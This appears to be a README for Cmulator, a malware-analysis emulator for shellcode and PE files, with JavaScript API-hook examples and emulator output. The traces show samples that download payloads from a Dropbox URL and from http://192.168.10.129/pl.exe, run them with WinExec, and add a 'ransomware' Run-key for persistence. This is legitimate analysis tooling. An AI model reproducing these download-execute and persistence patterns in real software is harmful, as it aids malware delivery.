coldzer0/cmulatorCmulator ( x86 - x64 ) शेलकोड और PE बाइनरी के लिए एक स्क्रिप्टेबल रिवर्स इंजीनियरिंग सैंडबॉक्स एमुलेटर है। यह Unicorn और Zydis Engine और javascript पर आधारित है।
V0.3 Beta
v0.2 beta
v0.1 beta
var GetModuleFileName = new ApiHook();
/*
DWORD WINAPI GetModuleFileName(
_In_opt_ HMODULE hModule,
_Out_ LPTSTR lpFilename,
_In_ DWORD nSize
);
*/
GetModuleFileName.OnCallBack = function (Emu, API, ret) {
Emu.pop(); // ret
var hModule = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.pop();
var lpFilename = Emu.isx64 ? Emu.ReadReg(REG_RDX) : Emu.pop();
var nSize = Emu.isx64 ? Emu.ReadReg(REG_R8D) : Emu.pop();
var mName = Emu.GetModuleName(hModule);
var Path = 'C:\\pla\\' + mName;
var len = API.IsWapi ? Emu.WriteStringW(lpFilename,Path) : Emu.WriteStringA(lpFilename,Path);
// null byte - mybe needed maybe not :D - i put it anyway :V
API.IsWapi ? Emu.WriteWord(lpFilename + (len * 2),0) : Emu.WriteByte(lpFilename+len,0);
print("{0}(0x{1}, 0x{2}, 0x{3}) = '{4}'".format(
API.name,
hModule.toString(16),
lpFilename.toString(16),
nSize.toString(16),
Path
));
// MS Docs : the return value is the length of the string
Emu.SetReg(Emu.isx64 ? REG_RAX : REG_EAX, len);
Emu.SetReg(Emu.isx64 ? REG_RIP : REG_EIP, ret);
return true; // true if you handle it false if you want Emu to handle it and set PC .
};
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameA');
GetModuleFileName.install('kernel32.dll', 'GetModuleFileNameW');
var _vsnprintf = new ApiHook();
/*
int _vsnprintf(
char *buffer,
size_t count,
const char *format,
va_list argptr
);
*/
_vsnprintf.OnCallBack = function (Emu, API, ret) {
// save the param to args
// args is an Array and it's implemented in every ApiHook .
_vsnprintf.args[0] = Emu.isx64 ? Emu.ReadReg(REG_RCX) : Emu.ReadDword(Emu.ReadReg(REG_ESP) + 4);
// i think implementing this in JS is hard
// so just let the library handle it :D
return true; // True so we continue to the lib code .
};
// OnExit Callback ..
_vsnprintf.OnExit = function(Emu,API){
// Read Our Saved Param .
var buffer = _vsnprintf.args[0];
warn("OnExit : _vsnprintf() = '{0}' ".format(
Emu.ReadStringA(buffer)
));
}
_vsnprintf.install('msvcrt.dll', '_vsnprintf');
Coldzer0 @ OSX $./Cmulator -f ../../samples/AntiDebugDownloader.exe -q
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 01:51:51
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"AntiDebugDownloader.exe" is : x32
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : AntiDebugDownloader.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers : 0000000000000400
[*] Size Of Image : 0000000000004000
[---------------------------------------]
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : AntiDebugDownloader.exe
[*] Import 3 Dlls
[+] Fix IAT for : kernel32.dll
[+] Fix IAT for : urlmon.dll
[+] Fix IAT for : advapi32.dll
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 52 Libraries ...
[>] Run AntiDebugDownloader.exe
0x401005 : IsDebuggerPresent = 0
GetWindowsDirectoryA(403000, 260) = 10 - 'C:\Windows'
0x40103d : URLDownloadToFileA(0, 'https://www.dropbox.com/s/fr3z6axblxfcmq8/UrlDownLoadtoFile.exe?dl=0', 'C:\Windows', 0, 0)
0x401051 : RegCreateKeyA(HKEY_LOCAL_MACHINE, 'Software\Microsoft\Windows\CurrentVersion\Run', 0x403159) = 144
0x40106f : RegSetValueExA(144, 'ransomware', 0, REG_SZ, 'C:\Windows', 260)
0x40107a : RegCloseKey()
ExitProcess(0x0)
26 Branches - Executed in 9 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/down_exec64.sc -sc -x64
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 03:07:11
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"sc64.exe" is : x64
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn
[---------------- PE Info --------------]
[*] File Name : sc64.exe
[*] Image Base : 0000000000400000
[*] Address Of Entry : 0000000000001000
[*] Size Of Headers : 0000000000000400
[*] Size Of Image : 0000000000002000
[---------------------------------------]
[*] Writing Shellcode to memory ...
[√] Shellcode Written to Unicorn
[---------------------------------------]
[ Fixing PE Imports ]
[*] File Name : sc64.exe
[*] Import 0 Dlls
[---------------------------------------]
[+] Segments & (TIB - PEB) Init Done .
[+] Loading JS Main Script : ../API.JS
Initiating 25 Libraries ...
[>] Run sc64.exe
LoadLibraryA('urlmon') = 0x70714000
GetProcAddress(0x70714000,'URLDownloadToFileA') = 0x707ADB10
0x40111b : URLDownloadToFileA(0, 'http://192.168.10.129/pl.exe', 'C:\\Users\\Public\\p.exe', 0, 2489880)
SetFileAttributesA('C:\\Users\\Public\\p.exe',0x2)
WinExec('C:\\Users\\Public\\p.exe', 0)
FatalExit(0x0)
95 Steps - Executed in 295 ms
Cmulator Stop >> last Error : OK (UC_ERR_OK)
Press Enter to Close ¯\_(ツ)_/¯
Coldzer0 @ OSX $./Cmulator -f ../../samples/Shellcodes/URLDownloadToFile.sc -sc
Cmulator Malware Analyzer - By Coldzer0
Compiled on : 2018/09/29 - 03:07:11
Target CPU : i386 & x86_x64
Unicorn Engine : v1.0
Cmulator : v0.1
"sc32.exe" is : x32
Mapping the File ..
[+] Unicorn Init done .
[√] Set Hooks
[√] PE Mapped to Unicorn
[√] PE Written to Unicorn